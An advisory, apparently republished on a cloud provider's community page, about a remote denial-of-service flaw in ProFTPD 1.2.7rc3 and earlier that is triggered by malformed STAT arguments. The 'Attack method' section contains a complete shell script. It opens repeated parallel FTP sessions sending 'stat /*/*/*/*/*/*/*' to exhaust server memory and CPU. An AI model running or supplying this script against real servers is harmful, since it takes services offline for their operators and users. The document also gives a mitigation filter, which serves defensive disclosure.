ProFTPD malformed STAT Command Parameter Remote DoS Defect

Source: Internet
Author: User

 

Figure-ProFTPD

ProFTPDMalformedSTAT commandParameter Remote DoS defect:

Involved procedures:

ProFTPD 1.2.7

Description:

ProFTPD malformed STAT Command Parameter Remote DoS Defect

Details:

ProFTPD is a source code open FTP service program in Unix and Linux operating systems.

ProFTPD does not properly filter user-submitted STAT command parameters. When an attacker submits a STAT command with multiple '/*' characters in parameters to the ProFTPD service program, the FTP service will crash and the service will be denied.

Affected Systems:

ProFTPD 1.2.7 rc3 and all earlier versions

Attack method:

 
 
  1. #!/bin/sh  
  2.  
  3. # proftpd <=1.2.7rc3 DoS - Requires anonymous/ftp login at least  
  4.  
  5. # might work against many other FTP daemons  
  6.  
  7. # consumes nearly all memory and alot of CPU  
  8.  
  9. # tested against slackware 8.1 - proftpd 1.2.4 and 1.2.7rc3  
  10.  
  11. # 7-dec-02 - detach - www.duho.org  
  12.  
  13. # use: ./prodos.sh   
  14.  
  15. # do this some more to make sure the system eventually dies  
  16.  
  17. cnt=25  
  18.  
  19. while [ $cnt -gt 0 ] ; do 
  20.  
  21. ftp -n << EOF&  
  22.  
  23. o $1  
  24.  
  25. quote user $2  
  26.  
  27. quote pass $3  
  28.  
  29. quote stat /*/*/*/*/*/*/*  
  30.  
  31. quit  
  32.  
  33. EOF  
  34.  
  35. let cnt=cnt-1  
  36.  
  37. done  
  38.  
  39. sleep 2  
  40.  
  41. killall -9 ftp  
  42.  
  43. echo DONE!  
  44.  
  45. #end  
  46.  

Solution:

Currently, the vendor does not provide patches or upgrade programs. We recommend that you pay attention to the vendor's site at any time:

Http://www.proftpd.org

Temporary solution:

* Add the following line to the 'ftpd. conf' file (not tested yet ):

DenyFilter \*.*/

Through the text, we can clearly know where the ProFTPD error is, and fix it now!

  • Proftpd supports sfv Verification
  • FTP service Proftpd + mysql + quota
  • What do MySQL users need to authenticate ProFTPD?
  • Use of Limit in Proftpd
  • ProFTPD Server Security Policy
  • Study Notes for Proftpd prawns
  • Detailed analysis of ProFTPD

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.